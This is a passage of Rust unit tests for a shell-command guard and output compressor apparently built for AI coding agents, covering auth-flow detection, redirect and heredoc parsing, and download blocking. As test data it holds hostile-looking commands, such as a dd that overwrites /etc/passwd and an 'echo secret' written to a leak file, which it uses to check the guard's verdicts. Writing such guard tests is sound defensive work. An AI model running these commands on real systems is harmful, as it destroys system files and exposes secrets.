974        let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
975        assert!(!contains_auth_flow(output));
976    }
977
978    #[test]
979    fn auth_flow_ignores_npm_install_output() {
980        let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n  run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
981        assert!(!contains_auth_flow(output));
982    }
983
984    #[test]
985    fn auth_flow_ignores_docs_mentioning_auth() {
986        let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
987        assert!(!contains_auth_flow(output));
988    }
989
990    #[test]
991    fn auth_flow_weak_signal_requires_url() {
992        let output = "Please enter the code ABC123 in the terminal";
993        assert!(!contains_auth_flow(output));
994    }
995
996    #[test]
997    fn auth_flow_weak_signal_without_url_is_ignored() {
998        let output = "Waiting for authentication to complete... done!";
999        assert!(!contains_auth_flow(output));
1000    }
1001
1002    #[test]
1003    fn auth_flow_ignores_virtualenv_activate() {
1004        let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
1005        assert!(!contains_auth_flow(output));
1006    }
1007
1008    #[test]
1009    fn auth_flow_ignores_api_response_with_code_field() {
1010        let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
1011        assert!(!contains_auth_flow(output));
1012    }
1013
1014    // --- Integration: handle() preserves auth flow ---
1015
1016    #[test]
1017    fn handle_preserves_auth_flow_output_fully() {
1018        let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
1019        // az login is Passthrough via OutputPolicy, so all content is preserved
1020        let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
1021        assert!(result.contains("ABCD1234"), "auth code must be preserved");
1022        assert!(result.contains("devicelogin"), "URL must be preserved");
1023        assert!(
1024            result.contains("Line 13"),
1025            "all lines must be preserved (no truncation)"
1026        );
1027    }
1028
1029    #[test]
1030    fn handle_compresses_normal_output_not_auth() {
1031        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
1032        let output = lines.join("\n");
1033        let result = handle("some-tool check", &output, 0, CrpMode::Off);
1034        assert!(
1035            !result.contains("auth/device-code flow detected"),
1036            "normal output must not trigger auth detection"
1037        );
1038        assert!(
1039            result.len() < output.len() + 100,
1040            "normal output should be compressed, not inflated"
1041        );
1042    }
1043
1044    #[test]
1045    fn is_search_command_detects_grep() {
1046        assert!(is_search_command("grep -r pattern src/"));
1047        assert!(is_search_command("rg pattern src/"));
1048        assert!(is_search_command("find . -name '*.rs'"));
1049        assert!(is_search_command("fd pattern"));
1050        assert!(is_search_command("ag pattern src/"));
1051        assert!(is_search_command("ack pattern"));
1052    }
1053
1054    #[test]
1055    fn is_search_command_rejects_non_search() {
1056        assert!(!is_search_command("cargo build"));
1057        assert!(!is_search_command("git status"));
1058        assert!(!is_search_command("npm install"));
1059        assert!(!is_search_command("cat file.rs"));
1060    }
1061
1062    #[test]
1063    fn generic_compress_preserves_short_output() {
1064        let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
1065        let output = lines.join("\n");
1066        let result = generic_compress(&output);
1067        assert_eq!(result, output);
1068    }
1069
1070    #[test]
1071    fn generic_compress_scales_with_length() {
1072        let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
1073        let output = lines.join("\n");
1074        let result = generic_compress(&output);
1075        assert!(result.contains("truncated"));
1076        let shown_count = result.lines().count();
1077        assert!(
1078            shown_count > 10,
1079            "should show more than old 6-line limit, got {shown_count}"
1080        );
1081        assert!(shown_count < 60, "should be truncated, not full output");
1082    }
1083
1084    #[test]
1085    fn handle_preserves_search_results() {
1086        let lines: Vec<String> = (1..=30)
1087            .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
1088            .collect();
1089        let output = lines.join("\n");
1090        let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
1091        for i in 1..=30 {
1092            assert!(
1093                result.contains(&format!("file{i}")),
1094                "search result file{i} should be preserved in output"
1095            );
1096        }
1097    }
1098
1099    // --- GH #931: unquoted heredoc body > must not trip redirect scanner ---
1100
1101    #[test]
1102    fn unquoted_heredoc_gt_in_body_not_blocked() {
1103        let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
1104        assert!(
1105            validate_command(cmd).is_none(),
1106            "unquoted heredoc body with > must not be flagged as redirect"
1107        );
1108    }
1109
1110    #[test]
1111    fn unquoted_heredoc_append_in_body_not_blocked() {
1112        let cmd = "cat <<END\nline with >> inside\nEND";
1113        assert!(
1114            validate_command(cmd).is_none(),
1115            "unquoted heredoc body with >> must not be flagged"
1116        );
1117    }
1118
1119    // --- GH #1142: literal scratch paths outside project root ---
1120
1121    // Since #1467, Unix scratch prefixes (/tmp, /private/tmp, /var/tmp) are
1122    // recognised cross-platform — agents generate `/tmp` redirects even on
1123    // Windows (Git Bash, WSL).
1124    #[test]
1125    fn issue_1142_private_tmp_redirect_allowed() {
1126        // exact repro from the issue: capture test log under /private/tmp scratchpad
1127        assert!(
1128            validate_command(
1129                "go test ./... > /private/tmp/claude-502/scratchpad/gotest.log 2>&1; echo EXIT:$?"
1130            )
1131            .is_none()
1132        );
1133        assert!(validate_command("cargo test > /var/tmp/out.log 2>&1").is_none());
1134        assert!(validate_command("make 2>> /private/tmp/err.log").is_none());
1135        // quoted targets must be judged like unquoted ones
1136        assert!(validate_command("cargo test > \"/private/tmp/x/build.log\"").is_none());
1137    }
1138
1139    #[test]
1140    fn issue_1142_quoted_scratch_target_allowed() {
1141        // quoted targets must be judged like unquoted ones
1142        assert!(validate_command("cargo test > \"$TMPDIR/build.log\"").is_none());
1143        assert!(validate_command("cargo test > '$SCRATCH/build.log'").is_none());
1144    }
1145
1146    #[test]
1147    fn issue_1142_fd_dup_allowed() {
1148        assert!(validate_command("echo error >&2").is_none());
1149        assert!(validate_command("printf 'x' 1>&2 && git status").is_none());
1150    }
1151
1152    #[test]
1153    fn issue_1142_project_writes_still_blocked() {
1154        assert!(validate_command("cargo test > build.log").is_some());
1155        assert!(validate_command("echo x > /Users/me/project/out.txt").is_some());
1156        assert!(validate_command("echo x > \"./out.txt\"").is_some());
1157        // /tmpfoo is not a temp dir
1158        assert!(validate_command("echo x > /private/tmpfoo/out.txt").is_some());
1159    }
1160
1161    #[test]
1162    fn issue_1142_noclobber_to_scratch_allowed() {
1163        assert!(validate_command("cargo test >|/tmp/out.log").is_none());
1164        assert!(validate_command("echo x >|out.txt").is_some());
1165    }
1166
1167    #[test]
1168    fn real_redirect_after_heredoc_still_blocked() {
1169        let cmd = "cat <<EOF > output.txt\ndata\nEOF";
1170        assert!(
1171            validate_command(cmd).is_some(),
1172            "redirect OUTSIDE heredoc body must still block"
1173        );
1174    }
1175
1176    // --- GH #1467: /tmp writes must be allowed on every platform ---
1177
1178    #[test]
1179    fn issue_1467_tmp_redirect_cross_platform() {
1180        assert!(
1181            validate_command("wc -l /some/file > /tmp/result.txt").is_none(),
1182            "/tmp redirect must be allowed on every platform"
1183        );
1184        assert!(
1185            validate_command("grep pattern file.txt > /tmp/matches.log 2>&1").is_none(),
1186            "/tmp redirect with stderr merge must be allowed"
1187        );
1188        assert!(
1189            validate_command("cat large.csv > /var/tmp/subset.csv").is_none(),
1190            "/var/tmp redirect must be allowed cross-platform"
1191        );
1192    }
1193
1194    #[test]
1195    fn issue_1467_non_tmp_still_blocked() {
1196        assert!(
1197            validate_command("echo secret > /tmpfoo/leak.txt").is_some(),
1198            "/tmpfoo is not /tmp — must be blocked"
1199        );
1200    }
1201
1202    // --- GH #1671: the tee refusal names the rule that produced it ---
1203
1204    /// The message said "tee without pipe" and then, one sentence later, that
1205    /// piped tee is allowed — rejecting a command while describing it as
1206    /// permitted. The rule is the destination.
1207    #[test]
1208    fn the_tee_refusal_does_not_contradict_itself() {
1209        let msg = validate_command_with_write_allow_paths(
1210            "echo hi | tee /Users/me/proj/dist/index.html",
1211            &[],
1212            Some("/Users/me/proj"),
1213        )
1214        .expect("a project destination is refused");
1215
1216        assert!(
1217            !msg.contains("without pipe"),
1218            "the command is piped; naming the pipe is the wrong reason: {msg}"
1219        );
1220        assert!(
1221            !msg.contains("Piped tee (cmd | tee file) is allowed"),
1222            "must not call the rejected form permitted: {msg}"
1223        );
1224        assert!(
1225            msg.contains("/Users/me/proj/dist/index.html"),
1226            "name the destination that caused it: {msg}"
1227        );
1228        assert!(
1229            msg.contains("destination"),
1230            "state the rule that produced the verdict: {msg}"
1231        );
1232    }
1233
1234    /// Every form the reporter tried is judged the same way, so the message
1235    /// must not send the caller off to restructure the pipeline.
1236    #[test]
1237    fn the_pipe_position_never_changes_the_tee_verdict() {
1238        for cmd in [
1239            "tee /Users/me/proj/out.txt",
1240            "echo hi | tee /Users/me/proj/out.txt",
1241            "echo hi | tee /Users/me/proj/out.txt | wc -l",
1242        ] {
1243            let msg = validate_command_with_write_allow_paths(cmd, &[], Some("/Users/me/proj"))
1244                .unwrap_or_else(|| panic!("must be refused: {cmd}"));
1245            assert!(msg.contains("Piping makes no difference"), "{cmd}: {msg}");
1246        }
1247        // A scratch destination stays allowed, piped or not.
1248        for cmd in ["tee /tmp/probe.txt", "echo hi | tee /tmp/probe.txt"] {
1249            assert!(
1250                validate_command_with_write_allow_paths(cmd, &[], Some("/Users/me/proj")).is_none(),
1251                "{cmd}"
1252            );
1253        }
1254    }
1255
1256    // --- GH #1672: a heredoc body is data, not a command ---
1257
1258    /// Found live: a commit message quoting the guard's own advice was refused
1259    /// as if it were a download. Nothing runs inside a heredoc body.
1260    #[test]
1261    fn a_download_flag_inside_a_heredoc_body_is_not_a_download() {
1262        let commit = "git commit -F - <<'MSG'\n\
1263             fix(x): something\n\
1264             \n\
1265             The reported case: cd /scratch && curl -sL -o shot.png https://e/x\n\
1266             MSG";
1267        assert!(
1268            validate_command(commit).is_none(),
1269            "a heredoc body is opaque data: {:?}",
1270            validate_command(commit)
1271        );
1272
1273        for body in [
1274            "cat <<'EOF'\nwget https://example.com/a.tar.gz\nEOF",
1275            "cat <<'EOF'\ndd if=/dev/zero of=/etc/passwd\nEOF",
1276        ] {
1277            assert!(validate_command(body).is_none(), "{body}");
1278        }
1279    }
1280
1281    /// The guard itself is untouched: a real download outside a heredoc, and
1282    /// one on the same line as a heredoc redirection, are still refused.
1283    #[test]
1284    fn a_real_download_beside_a_heredoc_is_still_blocked() {
1285        assert!(
1286            validate_command("curl -sL -o shot.png https://e/x && cat <<'EOF'\nharmless\nEOF")
1287                .is_some()
1288        );
1289        assert!(
1290            validate_command("cat <<'EOF'\nharmless\nEOF\ncurl -sL -o shot.png https://e/x")
1291                .is_some()
1292        );
1293    }
1294
1295    // --- GH #1661: a relative download target is judged where it lands ---
1296
1297    /// The reported case: `cd <scratchpad> && curl -o shot.png <url>`. The
1298    /// destination is inside the sanctioned scratch directory, but as the bare
1299    /// string `shot.png` it read as a project write — so fetching a binary had
1300    /// no in-tool route at all and pushed the agent to native shell.
1301    #[test]
1302    fn a_relative_download_into_a_scratch_directory_is_allowed() {
1303        for cmd in [
1304            "cd /tmp && curl -sL -o shot.png https://example.com/a.png",
1305            "cd /private/tmp/claude-501/session && curl -sL -o shot.png https://e/x",
1306            "cd /tmp/work && curl -sL -o sub/shot.png https://e/x",
1307        ] {
1308            assert!(
1309                download_to_file_reason(cmd).is_none(),
1310                "scratch destination must stay reachable: {cmd}"
1311            );
1312        }
1313    }
1314
1315    /// The #391 boundary is untouched: a relative target outside a scratch
1316    /// directory — or one this cannot resolve — is still a file write.
1317    #[test]
1318    fn a_download_into_the_project_is_still_blocked() {
1319        for cmd in [
1320            "curl -sL -o shot.png https://example.com/a.png",
1321            "cd /Users/me/project && curl -sL -o shot.png https://e/x",
1322            "cd \"$SCRATCH\" && curl -sL -o shot.png https://e/x",
1323            "cd /tmp && curl -sL -o /Users/me/project/shot.png https://e/x",
1324            "wget https://example.com/a.tar.gz",
1325            "dd if=/dev/zero of=/Users/me/project/block.bin",
1326            // wget/dd keep no scratch carve-out at all — a documented,
1327            // separately tested decision this fix deliberately leaves alone.
1328            "cd /tmp && wget -O page.html https://e/x",
1329            "cd /tmp && dd if=/dev/zero of=block.bin bs=1 count=1",
1330        ] {
1331            assert!(
1332                download_to_file_reason(cmd).is_some(),
1333                "must stay blocked: {cmd}"
1334            );
1335        }
1336    }
1337
1338    /// The refusal has to name a route that works for the payload at hand.
1339    /// Both suggested fallbacks were text-only, so for an image the message
1340    /// left native Bash as the only way forward.
1341    #[test]
1342    fn the_refusal_names_a_route_that_works_for_binaries() {
1343        let msg =
1344            validate_command("curl -sL -o shot.png https://example.com/a.png").expect("blocked");
1345        assert!(msg.contains("scratch"), "{msg}");
1346        assert!(msg.contains("/tmp/"), "{msg}");
1347    }
1348
1349    // --- GH #1659: the redirect verdict must not depend on position ---
1350
1351    /// The reporter's table, verbatim. The target was read up to whitespace, so
1352    /// a trailing `;` became part of it (`/dev/null;`), the exemption missed,
1353    /// and the identical redirect was blocked in a non-final segment.
1354    #[test]
1355    fn dev_null_is_exempt_in_every_position() {
1356        for cmd in [
1357            "echo hi 1>/dev/null",
1358            "echo a; echo b 1>/dev/null",
1359            "echo hi 1>/dev/null; echo ok",
1360            "echo a 1>/dev/null; echo b; echo c",
1361            "diff -q /etc/hosts /etc/hosts 1>/dev/null && echo SAME",
1362            "echo hi 1>/dev/null && echo ok",
1363            "echo hi >/dev/null; echo ok",
1364            "echo hi >/dev/null | cat",
1365            "(echo hi >/dev/null); echo ok",
1366        ] {
1367            assert!(
1368                !has_file_write_redirect(cmd, &[], None),
1369                "/dev/null is never a file write: {cmd}"
1370            );
1371        }
1372    }
1373
1374    /// A redirect operator can carry one more character (`>|` noclobber
1375    /// override, `>&` fd duplication). Terminating the word at metacharacters
1376    /// must not swallow those — nor may it empty out a process-substitution
1377    /// target, since an empty target falls through unblocked.
1378    #[test]
1379    fn redirect_operator_suffixes_keep_their_meaning() {
1380        for allowed in [
1381            "echo x >&1",
1382            "echo x >&2; echo ok",
1383            "echo x >&-",
1384            "echo x 1>&2 | cat",
1385        ] {
1386            assert!(
1387                !has_file_write_redirect(allowed, &[], None),
1388                "fd duplication is not a file write: {allowed}"
1389            );
1390        }
1391        for blocked in [
1392            "echo x >|out.txt",
1393            "echo x >|out.txt; echo ok",
1394            "echo x > >(tee out.txt)",
1395            "echo x > >(tee out.txt); echo ok",
1396        ] {
1397            assert!(
1398                has_file_write_redirect(blocked, &[], None),
1399                "still a file write: {blocked}"
1400            );
1401        }
1402    }
1403
1404    /// The guard itself must not weaken: a real file target is still a write,
1405    /// including in a non-final segment, which is the position the bug made
1406    /// *over*-strict rather than under.
1407    #[test]
1408    fn a_real_file_target_is_still_a_write_in_any_position() {
1409        for cmd in [
1410            "echo hi > out.txt",
1411            "echo hi > out.txt; echo ok",
1412            "echo a; echo hi >> out.txt; echo b",
1413            "echo hi > out.txt && echo ok",
1414        ] {
1415            assert!(
1416                has_file_write_redirect(cmd, &[], None),
1417                "a file write must still be caught: {cmd}"
1418            );
1419        }
1420    }
1421}